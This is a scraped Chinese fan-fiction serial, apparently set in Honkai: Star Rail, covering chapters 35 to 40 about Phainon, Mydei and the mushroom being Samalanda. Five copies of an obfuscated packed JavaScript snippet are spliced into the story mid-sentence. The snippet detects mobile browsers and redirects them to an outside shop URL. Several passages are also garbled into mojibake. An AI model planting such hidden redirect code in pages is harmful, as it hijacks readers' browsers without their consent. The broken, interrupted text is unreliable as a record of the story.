“他没事吧?”万敌问。 渺远的声音模糊不清,白厄支撑不住,几乎要跪下来,曾经失去力量的金血似乎咆哮着要再次撕裂他的身躯,这是毁灭的赐福,亦是毁灭的诅咒,他听见身边的声音起伏飘渺,微茫不定。 “没事,”萨玛兰妲说,“对于人类来说,再生的时候总会感到痛的,这很正常。” “但我更好奇,他是怎么以这样的状态来到这里的,”萨玛兰妲说,“毕竟人类又不是蘑菇,我们会以孢子形态休眠漂浮,可正常来说你们不应该会呀。” “难道,他也是一颗蘑菇吗?” 万敌似乎没说话,白厄的头越来越痛,火焰,能量,无穷无尽的金色,烧灼,同伴的咆哮,点燃时的苦痛,麦田,温暖的—— 他引燃了自己。 他也终于听清了悬锋王储梦中的那句话,那时万敌说…… 他说,“翁法罗斯自有其力量和荣光,不应该需要救世主一次一次地燃烧自己……我们总还有办法。” 而那时,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119696|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答是什么? 他说,“没关系,这一切本该结束,我,连同我背负的罪孽,都应当一并消失在旧世界的尘埃里……这是一个罪人应得的结局。” 他说,“愿你常战常胜,迈德漠斯,愿翁法罗斯的欢宴永不落幕,愿翁法罗斯的黎明如约到来。” 原来……是这样。 原来是这样啊。 他捂着头勉强站了起来,胡乱地蹭了蹭额上的冷汗,全身仍然很痛,但他还有别的问题。 “你需要我做什么?”白厄咬着牙问,“……和另一个令使的血肉有关?” “看起来你恢复了不少呢,”萨玛兰妲说,“没错,现在既然已经同为令使,你已经感受到另一份令使血肉的力量了吧?” “……丰饶。”白厄说。 话音刚落,脚下的地面猛然震动起来。 扑通,扑通,什么东西在跳。 扑通,扑通,地面在震动。 他这时才能真正地看清萨玛兰妲,实际上的‘萨玛兰妲’分为两个部分,一部分高悬穹顶之上,好奇地凝视着他,而另一部分在他的脚下,发出不似活物的心跳声。 “对啦,”萨玛兰妲满意地说,“果然,有个令使压着,萨玛兰妲舒服多了,不像之前萨玛兰妲压完这个压那个,你们的能量还都不能吃……太难为蘑菇了!” “这里曾经得到丰饶星神的赐福?”白厄问。 “那倒没有,实际上这位令使血肉的年龄比萨玛兰妲还大,”萨玛兰妲说,“早在这里还只是一片死星的时候,这位令使的血肉就被封印在此,而借助这位令使血肉残余的力量,一只最初的、有意识的蘑菇,生长了出来––就是萨玛兰妲。” 说到这,她缓慢地眨了眨眼睛,似乎在回忆。 “而后,持明龙尊来到这里,距今已有十几个琥珀历。”萨玛兰妲说。 “他说,他为彻底消灭丰饶令使,‘扶桑’而来。” “所以……方跃星的名字?”白厄试探着问,他似乎摸到了什么关窍,也隐约有了点想法。 如果是持明龙尊的话…… “方壶跃迁之地,故名方跃,”萨玛兰妲肯定了他的猜想,“但是仔细想来,我们已经很久很久没见过方壶仙舟的人,和那位持明龙尊了。” “所以,与你们并肩作战之人,真的不是持明龙尊吗?” ––––– 36. 【番外】神是无瑕存在[番外] 这里是永恒的乐园。 时光在这里驻足,风儿在这里停歇,幸福是永恒的主题,笑容洋溢在每个人的脸上。 阿格莱雅与凯尼斯把酒言欢,她说,她说,我们之间当然没有仇恨,仇恨是不应当存在的感情,纵然三千万世的记忆回归,纵然以百千万次所计的轮回中彼此曾视对方为仇雠与死敌,可在这静止的乐园中,人们当然应当彼此相爱。 韦?????隻??飦鞽?庡苟涓嶈璇嗙綏娴殑鎸佹槑榫欏皧锛屸濅竾鏁岃 “彼此相爱。”她说。 是幼稚的孩童堆叠手中的积木,是更高层面的力量爱着这里,这里应当有爱,这里应当被爱,这里应当鲜花遍野,满是芬芳。迈德漠斯正与欧利庞言笑宴宴,歌尔戈含笑地望着自己的丈夫和孩子。 仇恨的阴影早已从悬锋王朝的天空上消散,现在,一页永恒之上,是永恒的蓝天。 ?蜷?隗????玲??莉呵亜逧?戟譏朱? “互相友好。”她说。 没人关心以后会怎样,毕竟大家生活在一页永恒中,充满爱与鲜花的世界里,只需沉浸于蜜酿之中,尽情欢笑,将那狂笑与欢宴尽数收下,片刻欢愉即是永恒真理,因为这里是一页永恒。?????????′???a??? ?????…???????? “永恒与快乐。” 那刻夏老师仍然整日忙于炼金术,但他终于再次见到了姐姐含笑的眼神,炼金术所未能等价交换的家人终于毫无代价地回到了他的身边,他不再执着名字和称谓——毕竟那不是什么需要执着的事物,只要和家人在一起,只要姐姐还在他的身边,他不会在意那些。 他听见姐姐温柔的呼唤,他扑进姐姐的怀中。 稚童放下手中积木。 “为什么要生气呢?”缇宝老师自言自语,她身后十几个红发幼童有的点头,有的摇头,一时间场面看上去混乱无比,而她在短暂的思考与片刻的茫然后重新清醒,露出了与以往别无二致的笑容。 “那,‘我们’去劝劝小白吧。”她说。 “毕竟生气,可不是好孩子哦。” 不被允许存在的不被允许同意的应该被爱的应该被消解的应该被祛除的不该存在于这永恒乐园的不该娓镐緺锛屼綘浠槸鍚﹁杩囩綏娴粰鑸熺殑 为什么要生气? 白厄也不明白,过往的一切似乎已是过眼云烟,仇恨似乎被蒙上了一层遮盖的衬布,当他醒来时,那些仇恨、轮回和过往,已经是很遥远的故事,他下意识地逃避,他下意识地拒绝,因为仇恨与愤怒不该存在,因为这里是爱的乐园。 在每一个突兀的梦中,黑烟与血红的天际交相辉映,他曾向谁许下承诺。 “但刻法勒……” 刻法勒? 不是什么好的回忆,他几乎一瞬间下了结论,笑容重新从他的脸上浮起,只是身边那些东西仍让他本能地感到厌恶。 仇恨的化身,无谓的杀戮,不该存在于乐园之内的东西。 但是…… 但是? 但是? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119697|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白厄!”他听到开拓者兴高采烈的呼唤,声音来自遥远的彼方,“你怎么样了?真让人担心。现在感觉还好吗?你有没有觉得哪里不对?别太勉强自己了……话说为什么纳努克的金血居然能毁灭铁墓啊纳努克是什么令使虐待璇寸潃锛岃繛濂圭殑璇皵閲……” 眼前的一切是奶油般融化的镜子,开拓者的表情变得焦急而慌张。 “铁墓不是已经……完了……洞……” 他的声音变得渺远不清,他扭曲着的沮丧的脸颊消失在了白厄的视线里。 哪里不好?哪里不好? 我恩赐你们安于快乐的权利,世界当然是因为爱而运行,永恒的净土哪里不好,外来者……开拓者,是开拓者。 人家爱开拓者呀??。 人家爱开拓者呀??。 人家爱开拓者呀??。 对,人家爱着大家,人家爱着开拓者。 哪里不好?生命第一因是爱,哪里不好,大家只要安静地、快乐地、幸福地生活在这里就好,让人家来背负,让人家来爱,让人家来治愈,哪里不好? 只需闭上眼睛,捂住耳朵,塞上口鼻,不要听,不要说,不要见,这样,一切仍会回归永恒的静谧,世界是巨大的玻璃球,神是其中无瑕的水晶花。 只要爱就好,只要爱就好,爱是一切的解药,爱是世界万物追寻的方向,人家爱着这个世界,人家爱翁法罗斯,人家爱大家,人家爱开拓者,人家爱…… “但这样不对。” 神转过头,看见与她别无二致的人。 37. 孤独是智慧生物的必经之路 “星穹列车的无名客的确是重要的同伴,”白厄说,“但我们确实不知道……他们中有谁……是罗浮仙舟的持明龙尊。”说到这里,他突然也疑惑起来。 “姑且不论读取记忆……是否符合人类的道德,”白厄又说,“你既然已经读取……我的记忆,为何仍然……询问我们是否认识……罗浮的持明龙尊呢?你明明应该知道答案。” “我没读全,”萨玛兰妲相当坦然地眨了眨眼,地面仍然宛如活物般鼓动膨胀,甚至隐约听得见什么东西的哭声,“令使……即使是你外泄的记忆,对于蘑菇来说,也太过痛苦了。” “蘑菇们会通过根系共享自己的记忆与情感,我们共享愤怒与喜悦、欢乐与悲伤,但看起来人类似乎不会这么做,”萨玛兰妲说,“下次我会改进我们之间的交流方式……但,一个个体承受如此沉重的记忆,令使,萨玛兰妲为你难过。” “感谢你的好意,”白厄低声说,“但这是我为自己选择的……命运和道路……踏上此路的罪者……不需怜悯与同情。” 万敌扭头看了他一眼,张了张嘴想要说些什么,白厄摇了摇头,萨玛兰妲看上去有点困惑。 “好吧,”萨玛兰妲说,她眨了眨眼睛,似乎思考了些什么,而后缓缓地说,“在之后的对话中,我会收回我的同情和怜悯,和我对话的人类中一部分会喜欢我的安慰,而另一部分则认为高高在上的同情与无意义的怜悯是一种居高临下的傲慢,人类的情感系统过于复杂,萨玛兰妲实在感到困惑……但我们可以回到下一个话题,令使。” “作为归还你的血肉的回报,萨玛兰妲向你提出要求,令使。”萨玛兰妲说,“在人类的角度,等价交换是常见的原则,客观而言,萨玛兰妲和丰饶的力量的确充盈了那枚金血的力量,所以现在,萨玛兰妲希望你可以帮助她。” “需要我做什么?”白厄问道。 “两件事,”萨玛兰妲说,“第一件,我希望你可以帮助萨玛兰妲镇压‘扶桑’的力量,第二件,希望你能将持明龙尊曾经给予我们的东西交还罗浮仙舟。” “如果你们同意的话,作为回报,萨玛兰妲会取消一个答案交换一个答案的限制,如实回答你们的所有问题……当然,要在萨玛兰妲知悉的范围之内。” “我听说……方跃星信仰‘大地之母’,也就是丰饶,”白厄慢慢地说,“现在,我想询问,方跃星对丰饶星神的态度……究竟是什么样的?” 这蘑菇虽说看上去态度还算友善,但仙舟联盟向来视丰饶星神为死敌,若是单单帮忙送个东西倒是小事,但若是方跃星和丰饶星神有着千丝万缕的联系,白厄不得不思考自己被人当了枪的可能性,萨玛兰妲似乎也想到了这一点,但她看上去不太着急。 “我猜你的意思是,我是被丰饶的血肉孕养出的生命,却又蒙受持明龙尊的恩泽,而这两者之间是相互矛盾的关系,所以你不敢断言我的立场,对吗?” 白厄点了点头。 “很抱歉,”他说,“但无论是罗浮仙舟……或是方跃星,对于目前的我来说都是片未知……的迷雾,若是只有我一个人,那怎样都好……但我的身后,也有我的家乡。” “你们毁灭令使一般在被擢升的时候都会毁灭个家园助助兴,”萨玛兰妲评价,“和你们那位毁灭星神一脉相承……有家的毁灭令使可真罕见。” “我从不想成为什么毁灭令使,”白厄说,“从始至终,我所渴求的也不过是……一个不需要被拯救的、安宁平和的家乡而已。” “主动或是被动,有意或是无意,你总会走上这条道路的,令使。”萨玛兰妲挥舞着她的触须,“但萨玛兰妲可以先回答你的问题……提及方跃和丰饶的关系的话,有个很长又很简单的故事。” “起先,在一切的一切未曾开始的时候,方跃尚且是一片死星,”她变魔术般变出了个座位,用眼神示意万敌和白厄坐下,两人倒也没客气,只听得她声音缓慢,娓娓道来,“在不知年月的时光中,丰饶令使‘扶桑’被封印于这里——又或者这里的血肉最初只是他在宇宙中与谁交战时落下的一片碎片,具体的过程我并不清楚,因为那时我还未曾诞生,或是即使诞生,也并非智慧生物,丰饶令使,其寿绵长,其形各异,只需一片血肉,就能潜移默化地改变整片星球,而后,又不知过了多久,我诞生了。” “我清楚地知道我的诞生是一个意外,当我‘醒来’,或是说是‘出生’之时,我自然而然地读取了‘扶桑’的记忆,我那时渴求丰饶的力量,那时我也未想太多,只觉得存续与繁衍,是生物最固有的本能。” “于是我想,这里如果只有我一只蘑菇的话,多寂寞呀……而后,我回应了自己的愿望,从此,这里草木丰饶,我的同族破地而出。” “你是这颗星球上所有蘑菇的……母亲?”白厄问道。 “应该说所有有智慧的蘑菇,最初都来自我的孢子,”萨玛兰妲纠正,“蘑菇的繁衍不需要太多的条件,丰饶的力量又得天独厚,那时我们生活在大地上,并不知苦楚,也没有烦忧,我们的思考方式总是比人类简单点,快乐也会简单很多……但一颗星球是不可能无限地供养生命的,纵使是丰饶星神伟力,也需要遵守最基本的能量守恒……” 她的声音慢了下来,似乎陷入了悠远的回忆,“最初的最初,我们无忧无虑地生活在这片大地上,我们发展自己的文明,哺育自己的文化,而后,在不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119698|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过多久之后,新生的孩子与年老的蘑菇争抢方寸之地,能源与土地都已经不够我们发展——尽管那时候我们已经能够尝试着飞向天空,最后,在生存的本能之下,我们不得不吞食这颗星球,分解一切可以分解的,那时我们的根系伸向天空,只为了一点点来自中心天体的能源,我们的菌丝包裹大地,整颗星球几乎被消耗殆尽——直到持明龙尊来到这里。” “他说,他是为了解决‘扶桑’的血肉而来,当他来到方跃星时,地上全是我的同族的残片——恐慌的蘑菇吞食着彼此,后来,他找到了我,问我是否愿意交出‘扶桑’的碎片。 “你答应了?”万敌问道。 “我没有。”萨玛兰妲说。 白厄和万敌都有点诧异,按照萨玛兰妲刚刚的意思,丰饶的力量似乎给方跃星带来了无尽的灾祸,萨玛兰妲看上去又并非贪图力量之人,她为什么如此果断地拒绝了那位持明龙尊的要求,又为何要在十几个琥珀历之后突然想要找他? “……因为他们,叫我妈妈呀。”萨玛兰妲说,她温和的语气里第一次带了点无可奈何,“持明龙尊说,这里本应是处寸草不生的监狱,只是因为一点疏忽与差错,我们才会诞生在这里——但这本是件不该发生的事情。” “但是,难道不该发生的事情,不该存在的生命,就没有活下去的必要吗?扶桑的血肉固然是灾难的来源,可最初的最初,它同样哺育了我们,喂养了我们——我,我那时候不知道该怎么做,我也知道,以持明龙尊那时的力量,毁掉整颗方跃星,也只在他抬手之间而已。” “但是他们叫我妈妈,”萨玛兰妲慢慢地、认真地重复,“他们起源于我的本能,我也应该保护他们,于是我说,‘我想让我的孩子们活下去,他们诞生于丰饶的血肉,他们也许是您口中所谓的丰饶孽物,但我想让他们活下去,无论如何都想。” “那位龙尊看了我一眼,然后他没再坚持,我们那时候聊了很多,最后我们许下承诺,在他的帮助下,我学会了掌控与封印扶桑的方法,我控制着方跃星的孩子们不再失控,死亡正常地来到了方跃星,我尝试着让他们找到其他不靠丰饶的力量也能活下去的方法,而他会定期来到这里——但他实际只来了一次。” “我,一直很感激他,我的一生,也只做了这一件事,就是弥补我犯下的错误,想要存续,想要繁衍,我一直认为这是生物的本能,但在漫长的岁月中,我获得了另一个答案。” “其实所谓的本能只是智慧生物的自我欺骗,”萨玛兰妲说,“我那时那样渴求同族,也只不过是因为孤独而已,如果说还有别的原因的话……” “因为最初的我,就已经被‘扶桑’污染了呀。” 38. 丰饶蘑菇闯仙舟 “你说……最初的你已经被污染,是什么意思?”白厄愣了一下,“如果最初……如果当你产生智慧的时候,就已经被污染……按照常理来说,你不可能发觉这件事。” 若单就人类而言,如果一个想法,从他有意识起便深深地根植于他的脑海之中,那么按照正常的逻辑,他不可能会发现“我的想法被人改动”,或者“我的想法已经被污染”,相反,这种想法会作为某种“本能”或者“底层逻辑”,纠缠在他全部的人生之中。萨玛兰妲看出了他的想法,地面不甚明显地起伏了一下。 “让我猜猜,令使,你是否又把我当作人类了?” “你能这么想我很高兴,令使,”未等白厄回答,萨玛兰妲又说,她的声音里带了点笑意,“萨玛兰妲喜欢人类,相比较于人类的躯体形骸,蘑菇的限制还是太大了,萨玛兰妲也希望有朝一日,方跃星的大家能够驶向更遥远的星际……但我们毕竟还不是人类呀,还不能以看待人类的标准来看待我们呢。” “还记得我刚刚说过的话吗?方跃星全部的记忆与感知都在通过根系彼此纠缠,蘑菇们又对彼此的记忆有着奇怪的感知和辨别方式,之前未曾发现,只是因为我们和扶桑的位格差距太而已。” “那如果说你发现了扶桑对你的污染,是不是意味着……”万敌试探地问道,他似乎已经警觉起来,萨玛兰妲思索了片刻,缓缓地垂下了自己的触须。 “你在警惕,巡猎的命途行者。”萨玛兰妲说,“但你的猜测是正确的,能意识到有人对我动了手脚,又能镇压毁灭令使和丰饶令使的一部分力量,本身就说明萨玛兰妲在丰饶的道路上走出了很远的距离,但随着这种力量的得心应手,萨玛兰妲逐渐意识到了一个事实,既然萨玛兰妲产生于一个错误,那么走的越远,萨玛兰妲和扶桑的纠葛就会越深。” “扶桑从不介意萨玛兰妲发现他的企图,相反,他很高兴,令使和行者,不知道你们有没有思考过一个问题,方跃星上有树,有花,有动物,多种多样的生物,丰富多彩的生命,为什么偏偏是萨玛兰妲?为什么成为智慧生物的是一株不起眼的蘑菇?” “……便于寄生。” 空间中有片刻的沉默,白厄和万敌对视了一眼,从对方的眼中看到了相同的猜测,过了一会儿,还是万敌回答了这个问题。 “是啊,蘑菇是最方便寄生的植物之一,虽然同样有菟丝子或者蛇菰这种方便寄生的植物,可蘑菇寄生之后只需要孢子就可以生存、繁衍、形成新的族群,这不是很方便吗?”萨玛兰妲说,“我越能发现他,就越接近他,时至今日,萨玛兰妲点一点头,她就可以成为扶桑,新的丰饶令使,带着她的蘑菇们作威作福,然后被仙舟、或者什么追讨丰饶民的组织杀死,但又不会真正地死去,大概率会像扶桑一样老而不死地陷入休眠,在若干个琥珀纪之后醒来,接着作威作福——毕竟我们是蘑菇嘛。” “但萨玛兰妲不愿向他点头。” “那么,现在的你是谁呢?”白厄问道。 从他们见面开始,她一直称呼自己为萨玛兰妲,起先,万敌和白厄都觉得也许是这蘑菇的说话习惯,但故事听到这里他们才发现,一直固执地称呼自己的名字,恐怕并不是什么奇怪的口癖,而是某种稳固自我认知的小手段,果然,听到他们的问题,萨玛兰妲迟疑片刻,作出回应。 “萨玛兰妲现在还是萨玛兰妲,但萨玛兰妲不确定自己仍然会是萨玛兰妲,所以萨玛兰妲希望,在萨玛兰妲还是萨玛兰妲的时候,会有谁来将扶桑和萨玛兰妲一起杀死——虽然即使这样他仍然还会醒来,但那是许久许久之后的事情了。 “没什么办法将你和扶桑切割开吗?”白厄沉默片刻,问道。 “所以萨玛兰妲才希望你们去找仙舟帮忙呀,上次见到持明龙尊时,那位持明龙尊曾向萨玛兰妲许下承诺,只要萨玛兰妲帮忙不让扶桑复活,他就会找到帮助我们不依靠扶桑活下去的方法……萨玛兰妲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119699|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遵守了承诺,萨玛兰妲的一生只做了这一件事而已,所以萨玛兰妲想,为什么萨玛兰妲已经努力了,那位龙尊还是不愿意来到这里呢?是萨玛兰妲做的不够好吗?可萨玛兰妲……萨玛兰妲也只能做到这种程度了,毕竟萨玛兰妲只是蘑菇而已……” “我……” “但没关系,漫长的岁月中,萨玛兰妲大多数时候都只是睡觉而已,萨玛兰妲清醒的间隙,起先也渴求过谁来帮助萨玛兰妲,帮帮我们……因为过于痛苦,不受控制的,疯涨的血肉,被撕扯着长成扭曲的模样,看不清自己的面貌,萨玛兰妲曾经祈求过——但后来萨玛兰妲明白啦,没有人会一直无条件地帮助另一群生物的,能救萨玛兰妲的,只有萨玛兰妲自己,能救方跃星的,也只有萨玛兰妲自己。” 她的声音逐渐平静淡然,仿佛在讲述旁观者的故事,听不出沮丧,也听不出失落,仿佛漫长岁月中无助的求索与祈求只是某个不值得为人一道的故事,白厄沉默了片刻,还是点了点头。 “要送什么?”他说,“我可以帮忙。” “要送的东西是持明龙尊留在这里的一片鳞片,作为信物,也作为最初镇压丰饶的能量来源,在漫长的岁月中,它逐渐被扶桑的血肉侵蚀腐化,而今,也只是一片普通的鳞片啦,”萨玛兰妲说,“但萨玛兰妲承诺过,会在解决所有事情之后,将之物归原主,嗯,是这么说的呢。但是仙舟太远,孢子又不太方便运送东西……如果是先用孢子运送然后在仙舟上长出蘑菇的话。似乎有点不太礼貌。” “你居然还会有不太礼貌的概念。”白厄纳罕。 “是啊,”萨玛兰妲说,“我们上次想去仙舟的时候就被当作外来入侵物种驱逐了。” 白厄便想了想那个场景。 一株全身都是丰饶力量的蘑菇,慢慢地当着天舶司工作人员的面长出来,然后蹦蹦跳跳地说,“我想见持明龙尊”。 ……听上去确实很容易被人当作外来入侵物种。 39. 生气的大万老师 “我可以答应你的要求,”白厄说,即使不提方跃星和翁法罗斯在某种程度上过分相似的命运,如果只是帮助镇压‘扶桑’的力量和交还持明龙尊的信物,这两点哪个似乎都不算难达成的条件,他起先不过是担心莫名其妙地被萨玛兰妲当了枪,但现在看来,如果萨玛兰妲所言非虚,他倒是可以对这蘑菇抱有基本的信任——最坏的情况大概也不过是从仙舟逃之夭夭,何况目前她的讲述中似乎没有明显的漏洞,白厄想了想,还是答应了下来。 “需要现在就去?”白厄又问。 “那倒不需要,”萨玛兰妲说,“毕竟那片鳞片在这里很久了,萨玛兰妲分割它也需要一点时间——你们可以在这里先转转,两天之后萨玛兰妲会去找你们的。” “对了。”在白厄和万敌转身离开时,萨玛兰妲又突然开口。 “一会当你们离开这里之后,在距离你们的出口一百米左右的位置,有一片完全没有蘑菇存在的地方……”她慢吞吞地说,“我觉得你们一会儿也许用得到,但别闹出太大动静。” 什么意思? 思考了片刻,他果断地看向身边的万敌,后者看上去没什么情绪波动,仿佛萨玛兰妲的嘱咐只是空穴来风,但说完这句话,萨玛兰妲便不再言语,地面露出一道口子,隐约间从那道裂缝中窥得外面的天光。 当他们再次回到地面之上的时候,方跃星的中心天体恰好升了起来,这里仍然在下雨,看上去中心天体升起并不会妨碍方跃星连绵不绝的雨,万敌沉默了一会儿,突然开口。 “你感觉怎么样?”他问,“舒服点了吗?” “好多了,”白厄说,“我……” 他话音未落,万敌抬手便是一拳,这时候白厄才明白萨玛兰妲那句话中的深意,但现实容不得他思考,他凭借本能避过第一阵拳风,后者的下一招已然再度袭来。 “万敌!”白厄属实惊了一下,“你……” “我说过的,”万敌面无表情,“等你身体好一点,我们打一架。” “悬锋人的字典里可没有食言。” 下一拳后发先至,白厄堪堪躲过,他并不还手,只是徒劳地在猛烈的拳风间隙吼道。 “我早就说你们悬锋的字典该修了!” “你在畏惧,救世主,”万敌说,“你在抗拒你的剑。” 白厄愣了一下,但万敌的身手从来与他伯仲之间,他们两人的争斗之间也从来容不得分神,只在这一瞬的分神之间,万敌已经一拳砸到了他的身上,这一拳他并未收力,白厄倒退几步,勉强稳住了身形。 “为什么不问?”万敌的拳头又砸了过来。 “问什么?”白厄倒有点愕然,“你想打我,这不是很正常的吗?” “正常在哪?” 万敌突然停手,仿佛此前什么事都未曾发生,白厄捂着肚子看向他,他实在觉得万敌的怒火来得虽说有点突如其来,倒也算是理由充分,相比之下,问他“正常在哪”的、现在这个万敌,反而不太正常。 他勉强收拾了一下纷乱的思绪,试图回答万敌的问题。 “人人都会对杀死自己的人……抱有恨意吧。”白厄说,“即使我的目的是……为了拯救翁法罗斯……可毕竟为了我的目的……我杀死了很多人,受害者……理所应当对加害者……抱持恨意。” “你是这么想的吗?”万敌沉声道,“对于我的怒火,对于我毫无缘由的攻击,你是这么想的吗?救世主?” “迈德漠斯,这并非毫无缘由。”白厄试图说服他,“你当然有理由恨我,你应该一拳砸在我的脸上,甚至如果你想,你也可以在这里……” “救世主。”万敌冷冷地打断了他的话,雨顺着他金色的发丝流进了他的眼睛,又顺着他金红色的眼睛流下,他看上去有点狼狈,但他的怒火似乎越来越盛,他三步并作两步走上前去,一把揪住了白厄的衣领,将他狠狠地砸在了树上。 一声闷响,惊起了几只鸟雀,萨玛兰妲的话确实没错,这附近没有蘑菇出没,否则估计要有几只倒霉的蘑菇不得安眠,白厄被他强迫着俯视万敌的眼睛,他实在不知道为什么万敌的怒火越来越盛。 “所以如果还有下次,如果翁法罗斯还有下一次,濒临毁灭,亟需拯救,你还是会把自己烧成一团火,烧成一蓬灰,因为你有罪,因为你是翁法罗斯的罪人,对吗?” “不对。”白厄说。 “我燃烧自己,并非因我是翁法罗斯的罪人,迈德漠斯。”他认真地说,万敌的手仍然紧扣着他的衣领,这是一场他在奥赫玛时从未想过的失败,但他的心思并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119700|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在其上,只是一字一顿,平静又淡然,“只是因为……我希望大家,都能幸福而已。” “这个大家里,包括你吗?”万敌静静地看着他,许久才问。 “迈德漠斯,倘若真的有什么极端状况,牺牲我一人又能够换回翁法罗斯,我会从心底里感激刻法勒。”白厄没正面回答万敌的问题,反倒接着说道,“因为这代价实在是渺小得不值一提,付出的也只有一个我而已。” 万敌盯着他看了一会儿,突然兴味缺缺地直接松开了手,白厄站起身,整理着自己的衣领,转头看着万敌看向他的复杂眼神。 “我是不是不该对你用救世主这个称呼,”他低声说道,似乎在问白厄,又似乎在自言自语,“你……我们都曾听过刻法勒负世的传说,可刻法勒负世的结局是他被世界的重负压得无法言语,白厄,时至今日,你已经没必要做刻法勒,我说过,翁法罗斯自有其力量和荣光,不需要你一次一次地牺牲自己。” “你是被萨玛兰妲的孢子感染了吗?怎么突然这么多愁善感?”白厄顾左右而言他,试图开个玩笑蒙混过去。 “如果星神的力量既是赐福也是诅咒,你会怎么样?白厄?”万敌仍然认真地看着他,似乎翁法罗斯和他相熟的人之中没人会简单地被他的插科打诨蒙混过关,“一切力量均有其代价,如果连只是镇压丰饶令使的萨玛兰妲都会越来越接近扶桑,以烬灭金血为骨肉血的你会怎么样?白厄,你想过吗?” “这问题太遥远了,”白厄轻松地笑了一声,“目前这件事的威胁甚至……没有你的拳头大——至少那可是……真的打在我身上的东西。” “你是谁?” “哀丽秘榭的白厄,奥赫玛的战士,追着黄金裔杀了三千万世的负罪之人,现在是个躲在货运舰的胆小鬼……还有什么吗?” “或者,再加上迈德漠斯的挚友?”他轻巧地笑了一下。 “曾经是,但现在不是了。”万敌冷酷无情地说。 “在你找到解决问题的办法之前,或者在你把你脑子里那些英雄主义彻彻底底地收起来之前,我姑且对你保留‘挚友’这一看法。” “但至少现在,我们还能在方跃星转转。”白厄说,他的手搭上了万敌的肩膀。 “看看真实的世界。” 40. 谁在编排萨玛兰妲? 万敌仍然沉着脸一言不发。 “你看,”白厄尝试着找个话题,他胡乱地在自己身上翻了翻,又随意地摸了摸,翻出了一张地图,他展开一看,正是前两天他送货时蘑菇们塞给他的小礼物,“听说这里最近有文化节和签售会,如果没什么着急的事,不如一起去转一转怎么样?” 他没听到万敌的回答,他也不急,只是顺着地图慢慢悠悠地向前走,行走的间隙,他听到靴子踩在枯叶上的沙沙声响,他便知道是万敌跟了上来,很长一段时间里,路上只有两人的脚步声。 “你没什么要问我的吗?”过了一会儿,万敌终于忍不住打破了沉默。 “当然,”他又补充,“如果你要说的只有你那套负罪者理论,那还是别说了。” “我听说……你在当巡海游侠?”白厄没话找话。 “不完全是,”万敌说,“我的目的与巡海游侠并不完全相同,但也许因为我与巡海游侠做事时的理念相近,所以被当做了巡海游侠——我没否认过,毕竟没什么意义,巡海游侠实在是个很松散的组织。” “不过这是听谁说的?”万敌又问,他看上去似乎也有点疑惑,“是公司的哪个家伙?” 白厄张口欲答,却在前一刻想起银枝先生似乎被万敌委托来找自己,如果万敌不知道他的消息来源,至少能说明那位可敬的纯美骑士并未在自己不情愿的情况下将自己的消息告知万敌——思及此,他倒是觉得同样不好出卖银枝,于是只好含混地打了个哈哈。 “这倒无所谓,”万敌又说,“公司那帮呜呜伯养的东西多半对我没什么好评价就是了。” 白厄:“……” “这话你和谁学的?”虽然结果昭然若揭,但白厄还是不死心,他意有所指,“不会也是哪个巡海游侠吧。” “是啊,”万敌随口答应,“和一个名叫波提欧的巡海游侠学的……不过听你这话的意思,你也认识他?” “认识。”白厄说,他有点无力,“他来过我们的货运舰偷东西。” 